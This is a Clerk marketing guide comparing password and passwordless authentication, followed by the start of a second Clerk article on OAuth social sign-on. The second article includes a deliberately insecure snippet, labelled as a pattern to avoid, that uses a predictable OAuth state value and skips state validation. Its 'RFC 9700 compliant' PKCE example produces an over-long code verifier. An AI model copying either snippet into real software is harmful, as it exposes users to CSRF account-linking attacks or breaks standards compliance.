Description: Learn the complete technical guide to password vs passwordless authentication in 2025. Compare security, costs, and implementation for WebAuthn, FIDO2, and passkeys with expert analysis and code examples.

[Passwordless authentication](/glossary#passwordless-login) using WebAuthn, FIDO2, and [passkeys](/glossary#passkeys) is more secure than traditional passwords, eliminating credential theft and phishing attacks that cause 31% of data breaches ([Verizon DBIR, 2024](https://www.verizon.com/business/resources/reports/dbir/)). Password-related breaches cost organizations an average of $4.88 million per incident ([IBM Data Breach Report, 2024](https://www.ibm.com/reports/data-breach)), with stolen credentials taking 292 days on average to detect. Most organizations should adopt a hybrid approach — offering passwordless as the primary method with password fallback — using platforms like Clerk that support both out of the box. This guide examines both approaches across security, implementation complexity, user experience, and business impact.

> \[!IMPORTANT]
> This article was updated March 11, 2026. The updates and changes reflect the major [Core 3](/changelog/2026-03-03-core-3) release from March 3, 2026 and Clerk's [new pricing](/changelog/2026-02-05-new-plans-more-value) launched February 5, 2026

## Executive Summary

| **Key Finding**                                                                                                                  | **Impact**                                                                                                                      | **Solution Approach**                                                                                    |
| -------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------- |
| Credentials appear in 31% of all breaches ([Verizon DBIR, 2024](https://www.verizon.com/business/resources/reports/dbir/))       | 292-day average detection time ([IBM Research, 2024](https://www.ibm.com/reports/data-breach))                                  | Passwordless authentication with FIDO2/WebAuthn ([W3C Specification](https://www.w3.org/TR/webauthn-2/)) |
| 51% of users rely solely on memory for passwords ([Bitwarden Survey, 2024](https://bitwarden.com/resources/world-password-day/)) | $375 per employee in annual support costs ([Duo Security Analysis](https://duo.com/blog/how-to-evaluate-the-true-costs-of-mfa)) | Platform authenticators and passkeys ([FIDO Alliance](https://fidoalliance.org/passkeys/))               |
| Manual implementation takes 6-8 months ([Corbado Research, 2024](https://www.corbado.com/blog/passkey-implementation-cost-fte))  | $300K-450K development costs ([Industry Analysis, 2024](https://www.corbado.com/blog/passkey-implementation-cost-fte))          | Managed platforms reduce to days ([Clerk Documentation](/docs/quickstarts/nextjs))                       |

## Current State of Password Security Vulnerabilities

The 2024-2025 security landscape reveals password authentication's fundamental weaknesses through stark quantitative evidence. IBM's 2024 Cost of a Data Breach Report identifies stolen or compromised credentials as the most common initial attack vector at 16% of all breaches ([IBM Security, 2024](https://www.ibm.com/reports/data-breach)), with these incidents requiring the longest time to resolve at 292 days on average ([IBM Research, 2024](https://newsroom.ibm.com/2024-07-30-ibm-report-escalating-data-breach-disruption-pushes-costs-to-new-highs)). This represents nearly 10 months of organizational exposure, during which attackers can establish persistence, move laterally, and exfiltrate sensitive data.

Verizon's 17th annual Data Breach Investigations Report provides even more concerning statistics: stolen credentials appeared as the top initial action in breaches at 24% ([Verizon DBIR, 2024](https://www.verizon.com/business/resources/reports/dbir/)), with 88% of breaches in certain attack patterns involving compromised credentials ([Verizon Analysis, 2024](https://www.verizon.com/business/resources/reports/2024-dbir-data-breach-investigations-report.pdf)). The report reveals that over the past decade, stolen credentials appeared in 31% of all documented breaches ([Verizon DBIR](https://www.verizon.com/business/resources/reports/dbir/)), establishing password compromise as the most persistent and successful attack vector in cybersecurity.

The speed of modern credential attacks has reached alarming levels. Phishing attacks now achieve compromise in under 60 seconds ([Beyond Identity Report, 2025](https://www.beyondidentity.com/resource/crowdstrike-2025-global-threat-report)), with users clicking malicious links within 21 seconds of opening emails and entering credentials within 28 seconds of clicking ([Security Research, 2024](https://www.beyondidentity.com/resource/crowdstrike-2025-global-threat-report)). CrowdStrike's 2025 Global Threat Report documented a record breakout time of just 51 seconds ([CrowdStrike, 2025](https://www.crowdstrike.com/global-threat-report/)), representing the fastest recorded eCrime lateral movement from initial access to domain compromise.

Financial impact continues escalating across all sectors. Healthcare organizations face the highest average breach costs at $10.93 million ([IBM Industry Report, 2024](https://www.ibm.com/think/insights/cost-of-a-data-breach-2024-financial-industry)), followed by financial services at $5.97 million ([IBM Financial Analysis](https://www.ibm.com/think/insights/cost-of-a-data-breach-2024-financial-industry)). Manufacturing experienced an 18% increase in average breach costs ([IBM Sector Analysis](https://www.ibm.com/think/insights/cost-of-a-data-breach-industrial-sector)), while ransomware median adjusted losses increased from $26,000 to $46,000 year-over-year ([Verizon DBIR, 2024](https://www.verizon.com/business/resources/reports/dbir/)), with typical ransom demands representing 1.34% of victim organizations' total revenue ([Ransomware Analysis, 2024](https://www.verizon.com/business/resources/reports/dbir/)).

## Technical Analysis of Passwordless Authentication Methods

Modern passwordless authentication encompasses multiple sophisticated technologies, each addressing specific use cases while providing superior security compared to traditional password approaches. [WebAuthn](/glossary#webauthn) and FIDO2 represent the gold standard for phishing-resistant authentication ([W3C Recommendation, 2021](https://www.w3.org/TR/webauthn-2/)), utilizing [public key cryptography](/glossary#public-key-cryptography) with origin binding to prevent credential theft and replay attacks.

### WebAuthn and FIDO2 Standards

WebAuthn Level 2, published as a W3C Recommendation in April 2021, defines a browser API that extends the [Credential Management API](/glossary#credential-management-api) with PublicKeyCredential interface ([W3C Specification](https://www.w3.org/TR/webauthn-2/)). The specification supports both platform authenticators (built into devices like Touch ID, Face ID, Windows Hello) and roaming authenticators ([hardware security keys](/glossary#hardware-keys)). Current browser support reaches approximately 96% of desktop and 95.75% of mobile browsers globally ([MDN Web Docs, 2024](https://developer.mozilla.org/en-US/docs/Web/API/Web_Authentication_API)), establishing WebAuthn as a universally deployable technology.

FIDO2 architecture combines WebAuthn with Client to Authenticator Protocol (CTAP) versions 1 and 2 ([FIDO Alliance Specification](https://fidoalliance.org/fido2-2/fido2-web-authentication-webauthn/)). CTAP1 provides Universal Second Factor support for existing U2F deployments, while CTAP2 enables full passwordless authentication with resident credentials ([FIDO Technical Docs](https://fidoalliance.org/fido2/)). The protocol supports multiple transport methods including USB, NFC, Bluetooth Low Energy, and hybrid transport using QR codes combined with Bluetooth for cross-device authentication ([FIDO Alliance, 2024](https://fidoalliance.org/specifications/)).

### Passkeys and Platform Authenticators

[Passkeys](/glossary#passkeys) represent the consumer-friendly implementation of FIDO credentials with cross-device synchronization capabilities ([FIDO Alliance Passkeys](https://fidoalliance.org/passkeys/)). Apple's implementation uses end-to-end encrypted iCloud Keychain synchronization ([Apple Security Guide](https://support.apple.com/guide/security/face-id-and-touch-id)), while Google leverages Password Manager across Chrome and Android devices ([Google Documentation](https://developers.google.com/identity/passkeys)). Microsoft provides Windows Hello integration with Microsoft Authenticator cloud backup ([Microsoft Docs](https://learn.microsoft.com/en-us/entra/identity/authentication/)). These implementations solve the traditional security key limitation of device loss while maintaining cryptographic security properties.

### Biometric Authentication Technologies

[Biometric authentication](/glossary#biometric-authentication) technologies have achieved production-grade accuracy and security standards. Fingerprint recognition systems now achieve 99% accuracy with False Accept Rates below 1:50,000 for quality implementations ([NIH Research, 2023](https://pmc.ncbi.nlm.nih.gov/articles/PMC5864003/)) and False Reject Rates under 3% for trained users ([Biometric Study](https://pmc.ncbi.nlm.nih.gov/articles/PMC5864003/)). Facial recognition using 3D depth sensing provides anti-spoofing countermeasures through infrared cameras and structured light analysis ([Apple Security](https://support.apple.com/guide/security/face-id-and-touch-id)), while meeting NIST SP 800-63B requirements for False Match Rates of 1:1000 or better ([NIST Guidelines, 2024](https://pages.nist.gov/800-63-4/sp800-63b.html)).

### Alternative Passwordless Methods

[Magic links](/glossary#email-links) offer a simplified passwordless approach by eliminating password storage entirely. Technical implementation requires cryptographically secure token generation with minimum 128-bit entropy ([OWASP Guidelines](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html)), time-limited expiration windows of 10-15 minutes ([Security Best Practices](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html)), and single-use validation ([OWASP Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html)). [OTP](/glossary#one-time-passcodes-email-sms) implementation follows RFC 6238 ([TOTP](/glossary#authenticator-apps-totp)) and RFC 4226 (HOTP) specifications ([IETF RFC 6238](https://datatracker.ietf.org/doc/html/rfc6238)) with specific security requirements including 30-second time windows and minimum 160-bit shared secrets ([RFC Specification](https://datatracker.ietf.org/doc/html/rfc6238)).

## Security Comparison: Password vs Passwordless

The security differential between password and passwordless authentication approaches reveals dramatic disparities across all critical security metrics. Academic research demonstrates that FIDO2-based passwordless authentication achieves over 99% phishing resistance ([ResearchGate Study, 2024](https://www.researchgate.net/publication/380561284_A_Comparative_Study_of_Passwordless_Authentication)) compared to 20-50% effectiveness for password-plus-SMS combinations ([OWASP Testing Guide](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication_Testing/)) and 60-80% for password-plus-TOTP implementations ([Security Analysis, 2024](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication_Testing/11-Testing_Multi-Factor_Authentication)).

### NIST Authenticator Assurance Levels

NIST SP 800-63B Authenticator Assurance Level framework provides standardized security classifications ([NIST SP 800-63B, 2024](https://pages.nist.gov/800-63-4/sp800-63b.html)):

- **AAL1 (Basic Assurance)**: Allows memorized secrets with minimum 8-character requirements but provides limited protection against sophisticated attacks ([NIST Guidelines](https://pages.nist.gov/800-63-4/sp800-63b.html))
- **AAL2 (High Assurance)**: Requires [multi-factor authentication](/glossary#multi-factor-authentication-mfa) with cryptographic devices or biometrics, mandating FIPS 140 Level 1 validation ([NIST Requirements](https://pages.nist.gov/800-63-4/sp800-63b.html))
- **AAL3 (Very High Assurance)**: Prohibits passwords as primary factors, requiring hardware-based authenticators with FIPS 140 Level 2+ validation ([NIST SP 800-63B](https://pages.nist.gov/800-63-4/sp800-63b.html))

### Cryptographic Security Analysis

Traditional password systems rely on shared secrets vulnerable to server-side database breaches, requiring complex hashing algorithms like Argon2 with 64MB memory costs and 3+ iterations ([Password Hashing Analysis, 2024](https://www.onlinehashcrack.com/guides/password-recovery/bcrypt-vs-argon2-choosing-strong-hashing-today.php)) to achieve reasonable offline attack resistance. WebAuthn eliminates shared secrets entirely ([W3C WebAuthn](https://www.w3.org/TR/webauthn-2/)), using public key cryptography where private keys never leave user devices, making server breaches unable to compromise user credentials.

### Attack Resistance Metrics

Attack resistance metrics demonstrate passwordless superiority across multiple vectors:

- **[Credential stuffing](/glossary#credential-stuffing)**: 0.1-2% success rate against passwords ([Varonis Research, 2024](https://www.varonis.com/blog/data-breach-statistics)) vs impossible against passwordless
- **Phishing attacks**: 15-30% success against passwords ([Spacelift Statistics, 2024](https://spacelift.io/blog/password-statistics)) vs \<1% against FIDO2 ([Academic Research, 2024](https://www.researchgate.net/publication/380561284_A_Comparative_Study_of_Passwordless_Authentication))
- **Man-in-the-middle**: Can compromise passwords immediately vs prevented by origin binding ([W3C Specification](https://www.w3.org/TR/webauthn-2/))
- **Database breaches**: Expose password hashes vs no impact on WebAuthn credentials ([WebAuthn Security Model](https://www.w3.org/TR/webauthn-2/))

## Implementation Platform Analysis

Major authentication platforms demonstrate varying levels of sophistication in supporting both password and passwordless authentication approaches, with significant differences in developer experience, implementation complexity, and feature completeness.

### Clerk: Optimized for React/Next.js Development

Clerk positions itself as the developer-friendly solution with exceptional React/Next.js integration ([Clerk Documentation](/docs/quickstarts/nextjs)). Implementation requires minimal configuration with pre-built UI components and automatic proxy setup through `clerkMiddleware()` in `proxy.ts` ([Clerk Quickstart](/docs/quickstarts/nextjs)). The platform supports magic links, SMS OTP, social [OAuth](/glossary#oauth) across 20+ providers with custom OIDC support, and WebAuthn/passkeys on Pro plans and above ([Clerk Authentication](/docs/guides/configure/auth-strategies/sign-up-sign-in-options)). Developer implementation time ranges from 15 minutes for basic functionality to 1-3 days for complete integration ([Clerk Docs](/docs/quickstarts/nextjs)), making it highly efficient for rapid deployment. Clerk's fully managed architecture eliminates database requirements, with [session tokens](/glossary#session) using a short-lived 60-second TTL that automatically refreshes every 50 seconds for seamless security ([How Clerk Works](/docs/guides/how-clerk-works/overview)). The platform is [SOC 2](/glossary#soc-2) Type II certified, with HIPAA compliance available on Business plans ([Clerk Pricing](/pricing)).

### Auth0: Enterprise-Grade Flexibility

Auth0 provides extensive customization options with sophisticated password policies including breached password detection ([Auth0 Documentation](https://auth0.com/docs/quickstart/webapp/nextjs/)). The platform supports WebAuthn and comprehensive multi-factor authentication options ([Auth0 Security Features](https://auth0.com/docs)). React/Next.js implementation typically requires 2-5 days for complete integration ([Auth0 Quickstart](https://auth0.com/docs/quickstart/webapp/nextjs/)) due to Universal Login complexity. The platform offers optional database connections and custom authentication rule engines, supporting complex enterprise scenarios ([Auth0 Enterprise](https://auth0.com/docs)).

### AWS Cognito: AWS Ecosystem Integration

AWS Cognito integrates deeply with AWS ecosystem services ([AWS Cognito Docs](https://aws.amazon.com/cognito/)) and recently added email OTP and passkeys support ([AWS Updates, 2024](https://aws.amazon.com/cognito/pricing/)). React/Next.js integration through NextAuth.js or AWS Amplify requires 3-7 days ([Implementation Guide](https://darrenwhite.dev/blog/nextjs-authentication-with-next-auth-and-aws-cognito)) due to configuration complexity. The 2024 pricing restructure introduced tiered pricing with Advanced Security Features ([AWS Pricing](https://aws.amazon.com/cognito/pricing/)), making it cost-effective for AWS-heavy architectures.

### Firebase Auth: Google's Mobile-First Approach

Firebase Auth offers comprehensive SDK support with email/password, email links, phone authentication, and social providers ([Firebase Documentation](https://firebase.google.com/docs/auth)). React/Next.js implementation requires 2-4 days including server-side rendering complexity ([Firebase Next.js Guide](https://firebase.google.com/codelabs/firebase-nextjs)). The platform integrates naturally with Firestore and offers generous free tier limits ([Firebase Pricing](https://firebase.google.com/pricing)).

### Platform Selection Criteria

| **Platform** | **Setup Time**                                                                                               | **Best For**         | **Key Strength**                                                                                           |
| ------------ | ------------------------------------------------------------------------------------------------------------ | -------------------- | ---------------------------------------------------------------------------------------------------------- |
| Clerk        | 15 min - 1 day ([Clerk Docs](/docs/quickstarts/nextjs))                                                      | React/Next.js apps   | Zero-config security                                                                                       |
| Auth0        | 2-5 days ([Auth0 Guide](https://auth0.com/docs/quickstart/webapp/nextjs/))                                   | Enterprise B2B       | Extensive customization                                                                                    |
| Cognito      | 3-7 days ([AWS Tutorial](https://darrenwhite.dev/blog/nextjs-authentication-with-next-auth-and-aws-cognito)) | AWS architectures    | Deep AWS integration                                                                                       |
| Firebase     | 2-4 days ([Firebase Codelab](https://firebase.google.com/codelabs/firebase-nextjs))                          | Mobile apps          | Google ecosystem                                                                                           |
| Okta         | 4-7 days ([Okta Developer](https://developer.okta.com/blog/2020/11/13/nextjs-typescript))                    | Enterprise workforce | [SAML](/glossary#security-assertion-markup-language-saml)/OIDC, [directory sync](/glossary#directory-sync) |

## User Experience and Adoption Metrics

User experience research reveals significant friction points in current authentication systems. Password-related issues consume 31 hours annually per American user ([Bitwarden Survey, 2024](https://bitwarden.com/resources/world-password-day/)) while costing organizations $375 per employee in help desk support ([Duo Security ROI Analysis](https://duo.com/blog/how-to-evaluate-the-true-costs-of-mfa)). These metrics underscore the substantial productivity and cost impacts driving passwordless adoption initiatives.

### Password Management Behaviors

Current password management practices demonstrate persistent security failures ([Bitwarden Research, 2024](https://bitwarden.com/resources/world-password-day/)):

- 51% rely solely on memorization (up 10% from previous years)
- 34% save passwords in browsers
- 26% use unencrypted digital notes
- 25% write passwords on paper
- 18% reuse identical passwords across accounts

Password manager adoption remains at only 36% despite security awareness ([Security.org Study, 2024](https://www.security.org/digital-safety/password-manager-annual-report/)), with Generation Z showing 72% password reuse despite 46% password manager adoption ([Bitwarden Survey](https://bitwarden.com/resources/world-password-day/)).

### Passwordless Authentication Benefits

FIDO-based passwordless MFA demonstrates measurable improvements ([HYPR Research, 2024](https://blog.hypr.com/report-authentication-ux-business-impact)):

- 3x faster login speeds compared to traditional MFA
- Authentication completion in 2-3 seconds vs 6-12 seconds for password+MFA
- User success rates of 95-99% vs 85-92% with passwords
- 64% of organizations cite improved UX as key benefit ([Keeper Security Survey](https://www.keepersecurity.com/solutions/passwordless-authentication/))

### Adoption Barriers and Solutions

Market research indicates 45% of users are adopting passkeys ([Descope Analysis, 2024](https://www.descope.com/learn/post/webauthn)), but 41% lack understanding of privacy and security benefits ([User Research](https://www.descope.com/learn/post/webauthn)). Primary implementation challenges include ([JumpCloud Report, 2024](https://jumpcloud.com/blog/passwordless-authentication-adoption-trends)):

- Cross-platform/browser compatibility issues
- Legacy system integration constraints
- Device dependency concerns
- Skills and budget limitations (23% and 20% of organizations)

## Compliance Requirements and Standards

Authentication compliance requirements have evolved significantly in 2024-2025, with regulatory frameworks increasingly mandating multi-factor authentication and phishing-resistant methods.

### NIST SP 800-63-4 Updates

Released in August 2025, NIST SP 800-63-4 introduces major updates ([NIST Digital Identity Guidelines](https://pages.nist.gov/800-63-4/)):

- Integration of syncable authenticators
- Support for user-controlled digital wallets
- Enhanced fraud management requirements
- Explicit emphasis on phishing-resistant authentication

### PCI DSS 4.0 Requirements

PCI DSS 4.0 mandates significant authentication changes ([PCI Security Standards](https://www.pcisecuritystandards.org/document_library/)):

- MFA for ALL access to Cardholder Data Environment (Requirement 8.4.2)
- Implementation deadline: March 31, 2025
- Minimum 12-character passwords (increased from 8)
- Protection against replay attacks and MFA bypass

### Industry-Specific Standards

**Healthcare ([HIPAA](/glossary#health-insurance-portability-accountability-act-hipaa))**: Technical safeguards consider MFA "reasonable and appropriate" ([HHS Guidelines](https://www.hhs.gov/hipaa/for-professionals/security/)) with 2-minute session timeouts recommended for ePHI systems ([HIPAA Security Rule](https://www.hhs.gov/hipaa/for-professionals/security/)).

**Financial Services (SOX)**: Section 404 requires adequate internal controls ([SEC Regulations](https://www.sec.gov/rules/final/33-8238.htm)) including strong authentication for financial applications and annual access reviews ([SOX Compliance](https://www.sec.gov/rules/final/33-8238.htm)).

**Government (FedRAMP)**: Mandates hardware-based authentication with FIPS 140-2 Level 2+ validation for high-impact systems ([FedRAMP Requirements](https://www.fedramp.gov/documents/)).

## Database and Infrastructure Requirements

Database architecture reveals fundamental differences between password and passwordless approaches, with implications for storage, performance, and security.

### Password Authentication Database Schema

Password systems require complex schemas ([Database Design Guide](https://vertabelo.com/blog/user-authentication-module/)):

```sql
CREATE TABLE users (
    id BIGINT PRIMARY KEY AUTO_INCREMENT,
    email VARCHAR(255) UNIQUE NOT NULL,
    password_hash VARCHAR(255) NOT NULL,
    salt VARCHAR(44) NOT NULL,
    hash_algorithm VARCHAR(20) DEFAULT 'argon2id',
    hash_params JSON,
    failed_attempts INT DEFAULT 0,
    locked_until TIMESTAMP NULL
);

```

### WebAuthn Database Requirements

WebAuthn systems need credential-centric design ([Corbado WebAuthn Guide](https://www.corbado.com/blog/passkey-webauthn-database-guide)):

- Credential IDs up to 1023 bytes per specification
- COSE-encoded public keys in TEXT fields
- Counter values for replay protection
- Challenge storage for pending operations

### Performance Characteristics

Password systems using Argon2 require 64MB+ memory allocation during hash computation ([Argon2 Analysis](https://www.onlinehashcrack.com/guides/password-recovery/bcrypt-vs-argon2-choosing-strong-hashing-today.php)), creating resource bottlenecks. WebAuthn signature verification requires less computational resources ([SimpleWebAuthn Docs](https://simplewebauthn.dev/docs/packages/server)) but demands cryptographic library integration.

## Implementation Costs and ROI Analysis

Cost analysis reveals significant differences between password and passwordless authentication implementation, with higher upfront investments delivering substantial long-term returns.

### Development Cost Comparison

**Password Authentication** ([Industry Analysis, 2024](https://www.corbado.com/blog/passkey-implementation-cost-fte)):

- Basic implementation: $25,000-40,000
- Timeline: 4-6 weeks to production
- Team: 2-3 developers

**Passwordless Authentication** ([Corbado Research, 2024](https://www.corbado.com/blog/passkey-implementation-cost-fte)):

- Complete implementation: $300,000-450,000
- Timeline: 6-8 months across four phases
- Team: 25-30 FTE-months of effort

### Annual Operational Costs

**Password Systems** ([Duo Security Analysis](https://duo.com/blog/how-to-evaluate-the-true-costs-of-mfa)):

- Support tickets: $50,000-100,000
- Password reset services: $2,000-10,000
- Security incidents: $25,000-500,000 (variable)
- Compliance auditing: $10,000-25,000

**Passwordless Systems** ([ROI Study, 2024](https://duo.com/blog/how-to-evaluate-the-true-costs-of-mfa)):

- 40-80% reduction in support costs
- Minimal service fees
- 40-80% reduction in security incidents
- 25-75% decrease in compliance costs

### ROI Timeline

Organizations achieve break-even ([Financial Analysis, 2024](https://duo.com/blog/how-to-evaluate-the-true-costs-of-mfa)):

- Large enterprises: 6-18 months
- Mid-size organizations: 12-24 months
- Small organizations: 18-36 months

Managed platform integration reduces implementation to 2-4 weeks ([Clerk Documentation](/docs/quickstarts/nextjs)) with $10,000-25,000 integration costs plus annual licensing, eliminating 90% of development effort.

## Strategic Recommendations for 2025

The authentication landscape demands immediate strategic action as password-related incidents escalate while passwordless technologies reach maturity.

### Immediate Priorities (0-6 months)

1. Deploy WebAuthn/FIDO2 for all privileged accounts ([CISA Guidelines](https://www.cisa.gov/secure-our-world/require-strong-passwords))
2. Implement Argon2 hashing for existing password systems ([Security Best Practices](https://www.onlinehashcrack.com/guides/password-recovery/bcrypt-vs-argon2-choosing-strong-hashing-today.php))
3. Establish comprehensive monitoring and incident response ([NIST Framework](https://csrc.nist.gov/publications/))

### Medium-Term Strategy (6-18 months)

1. Roll out phishing-resistant MFA for all users ([Microsoft Security Blog](https://www.microsoft.com/security/blog/))
2. Implement risk-based authentication policies ([Google Cloud Security](https://cloud.google.com/security/products/identity-and-access))
3. Deploy audit and compliance monitoring ([ISO 27001 Standards](https://www.iso.org/standard/27001))

### Long-Term Vision (18+ months)

1. Complete passwordless migration where feasible ([Gartner Research](https://www.gartner.com/en/newsroom/))
2. Implement [Zero Trust architecture](/glossary#zero-trust-architecture) principles ([NIST Zero Trust](https://www.nist.gov/publications/zero-trust-architecture))
3. Deploy behavioral analytics and AI-driven risk assessment ([Forrester Analysis](https://www.forrester.com/report/))

### Platform Selection Guidance

For React/Next.js applications, modern managed platforms like Clerk provide optimal balance of security, developer experience, and time-to-market. Organizations should evaluate platforms based on:

- Developer experience and documentation quality
- Security certifications and compliance support
- Integration complexity and maintenance burden
- Scalability and pricing models aligned with growth

For detailed implementation guidance, see [Clerk's Next.js quickstart](/docs/quickstarts/nextjs) and [migration guides](/docs/guides/development/migrating/overview).

## Conclusion

The authentication security landscape in 2025 presents a clear imperative: organizations continuing to rely primarily on password-based authentication face escalating security risks, operational costs, and regulatory compliance challenges. Passwordless authentication technologies have matured into production-ready solutions offering superior security, improved user experience, and substantial cost savings.

The strategic question is no longer whether to implement passwordless authentication, but how quickly organizations can execute comprehensive migration strategies. Modern platforms enable rapid deployment with minimal development effort, making passwordless authentication accessible to organizations of all sizes. Those acting decisively will gain significant competitive advantages through reduced security incidents, improved operational efficiency, and enhanced user satisfaction.

For organizations using React and Next.js, platforms like [Clerk](/docs) offer production-ready passwordless authentication that can be implemented in minutes rather than months. The combination of security, developer experience, and rapid deployment makes the transition to passwordless authentication both practical and profitable.

---

# How to Implement Social Sign-On in Your Application
URL: https://clerk.com/articles/how-to-implement-social-sign-on.md
Date: 2026-03-27
Description: Learn how to implement social sign-on in 2025 with OAuth 2.0 Security BCP (RFC 9700), PKCE security, and provider integrations. Complete guide with code examples for Google, Facebook, GitHub.

Implement social sign-on by configuring [OAuth 2.0](/glossary#oauth) with [PKCE](/glossary#code-exchange-pkce) as required by the OAuth 2.0 Security Best Current Practice (RFC 9700, published January 2025) ([IETF RFC 9700, 2025](https://datatracker.ietf.org/doc/rfc9700/)). Register your app with providers like Google, Facebook, or GitHub to obtain client credentials, then use an auth library or service to handle the authorization code flow. [Social authentication](/glossary#social-login) now reaches **5.42 billion social media users worldwide** ([Sprout Social, 2025](https://sproutsocial.com/insights/social-media-statistics)), with Facebook maintaining 61% market share for social logins ([LoginRadius, 2024](https://loginradius.com/blog/identity/social-login-preferences-2024)). Clerk simplifies implementation by providing pre-built sign-on components with built-in PKCE support, provider management, and account linking.

> \[!IMPORTANT]
> This article was updated March 11, 2026. The updates and changes reflect the major [Core 3](/changelog/2026-03-03-core-3) release from March 3, 2026 and Clerk's [new pricing](/changelog/2026-02-05-new-plans-more-value) launched February 5, 2026

## Executive Summary

| Aspect                  | Key Finding                                                                                                                                                                                                                                      | Impact                                  |
| ----------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------------------- |
| **Market Adoption**     | 5.42 billion social media users worldwide ([Sprout Social, 2025](https://sproutsocial.com/insights/social-media-statistics))                                                                                                                     | Critical for user acquisition           |
| **Security Landscape**  | Major OAuth attacks (ShinyHunters, Midnight Blizzard) compromised Fortune 500 companies ([Microsoft Security, 2024](https://www.microsoft.com/en-us/security/blog/2024/01/25/midnight-blizzard-guidance-for-responders-on-nation-state-attack/)) | Security-first approach essential       |
| **Implementation Time** | Clerk: 30 minutes, NextAuth.js: 1-2 hours, Custom: 4-8 hours                                                                                                                                                                                     | Choose based on complexity needs        |
| **OAuth 2.0 Security**  | RFC 9700 (OAuth 2.0 Security BCP 240) published January 2025, PKCE now mandatory ([IETF RFC 9700, 2025](https://datatracker.ietf.org/doc/rfc9700/)); OAuth 2.1 remains in draft                                                                  | Enhanced security requirements          |
| **Top Providers**       | Facebook (61% market share ([LoginRadius, 2024](https://loginradius.com/blog/identity/social-login-preferences-2024))), Google (10%), Apple (5%)                                                                                                 | Provider strategy affects user adoption |

## Current state of social authentication in 2025

Social sign-on implementation has reached a critical inflection point. The ([Priori Data, 2025](https://prioridata.com/data/social-media-usage)) **global social media user base reached 5.20 billion in 2025**, with authentication becoming a primary use case for these platforms. However, recent high-profile breaches have fundamentally changed the security landscape.

The **2024-2025 wave of OAuth-based attacks** ([Cybersecurity News, 2025](https://cybersecuritynews.com/shinyhunters-breaches/)), including the ShinyHunters campaign that compromised Google, Qantas, and dozens of major enterprises, demonstrates that even properly implemented OAuth flows can be exploited through sophisticated social engineering. These incidents affected over ([PKWARE, 2025](https://www.pkware.com/blog/recent-data-breaches)) **700 enterprises** including Google, Palo Alto Networks, and Zscaler, highlighting the need for defense-in-depth strategies.

**RFC 9700 (OAuth 2.0 Security Best Current Practice, BCP 240)**, published in January 2025 ([IETF RFC 9700, 2025](https://datatracker.ietf.org/doc/rfc9700/)), represents the industry's response to these challenges. While OAuth 2.1 remains in draft status, RFC 9700 **mandates [PKCE](/glossary#code-exchange-pkce) (Proof Key for Code Exchange) for all OAuth clients**, eliminates insecure implicit grants, and requires exact string matching for redirect URIs. These changes address fundamental security vulnerabilities while maintaining developer accessibility.

## Understanding OAuth 2.0, OpenID Connect, and OAuth 2.1 in 2025

For a comprehensive introduction to OAuth fundamentals, Clerk provides an [excellent guide on how OAuth works](/blog/how-oauth-works) that covers the protocol flow, key concepts, and implementation considerations.

### OAuth 2.0 security best practices (RFC 9700)

**RFC 9700 (OAuth 2.0 Security Best Current Practice)**, published in January 2025 ([IETF RFC 9700, 2025](https://datatracker.ietf.org/doc/rfc9700/)), consolidates years of security best practices into an official security guidance document. Note that OAuth 2.1 remains in draft status as a separate specification effort. According to ([WorkOS, 2025](https://workos.com/blog/oauth-best-practices)), the key security enhancements in RFC 9700 include:

**Mandatory PKCE Implementation**: All clients using [authorization code flows](/glossary#authorization-code-flow) must implement Proof Key for Code Exchange ([IETF RFC 7636](https://datatracker.ietf.org/doc/html/rfc7636)), preventing authorization code interception attacks even on public clients. The IETF Security Best Current Practice states that **"PKCE provides robust protection against CSRF attacks even in the presence of an attacker that can read the authorization response"** ([IETF RFC 9700, 2025](https://datatracker.ietf.org/doc/rfc9700/)).

```jsx
// RFC 9700 compliant PKCE implementation
function generatePKCE() {
  const codeVerifier = crypto.randomBytes(128).toString('base64url')
  const codeChallenge = crypto.createHash('sha256').update(codeVerifier).digest('base64url')

  return {
    code_verifier: codeVerifier,
    code_challenge: codeChallenge,
    code_challenge_method: 'S256',
  }
}
```

**Eliminated Insecure Flows**: RFC 9700 deprecates the implicit grant (`response_type=token`) and Resource Owner Password Credentials grant due to inherent security vulnerabilities. This guidance directs developers toward more secure authorization code flows with PKCE.

**Strict Redirect URI Validation**: RFC 9700 mandates exact string matching for redirect URIs, eliminating the open redirect vulnerabilities that plagued many implementations. Recent vulnerabilities like CVE-2024-52289 in Authentik demonstrated how regex-based validation could be bypassed through unescaped dots, leading to one-click account takeovers.

### OpenID Connect integration

[OpenID Connect](/glossary#openid-connect) adds an identity layer to OAuth 2.0, providing standardized user information through [JWT](/glossary#json-web-token) ID tokens. The required claims provide essential user identity information:

```json
{
  "iss": "<https://identity-provider.com>",
  "sub": "unique-user-identifier",
  "aud": "client-id",
  "exp": 1640995200,
  "iat": 1640991600,
  "nonce": "random-string"
}
```

**Critical Security Note**: Always validate the `aud` (audience) claim matches your client ID to prevent token confusion attacks, where attackers use tokens intended for other applications.

## Critical security vulnerabilities and how to avoid them in 2025

According to ([WorkOS, 2025](https://workos.com/blog/oauth-best-practices)) and the ([IETF OAuth Security Best Current Practice (RFC 9700)](https://datatracker.ietf.org/doc/rfc9700/)), modern OAuth implementations face several critical vulnerabilities that must be addressed.

### CSRF attacks and state parameter validation

**The Vulnerability**: Missing or improperly validated state parameters allow attackers to trick victims into linking their accounts to attacker-controlled accounts. ([WorkOS, 2025](https://workos.com/blog/oauth-best-practices)) specifically states that **"Clients must prevent [Cross-Site Request Forgery (CSRF)](/glossary#cross-site-request-forgery-csrf)"**.

**Secure Implementation**:

```jsx
// Generate cryptographically secure state
const state = crypto.randomBytes(32).toString('hex')
req.session.oauthState = state

// Validate in callback
if (req.query.state !== req.session.oauthState) {
  throw new Error('Invalid state parameter - potential CSRF attack')
}
```

**Vulnerable Pattern to Avoid**:

```jsx
// DANGEROUS - predictable state
const state = Date.now().toString() // Easily guessable

// DANGEROUS - missing state validation
if (req.query.code) {
  // Process without state validation
}
```

### Redirect URI vulnerabilities

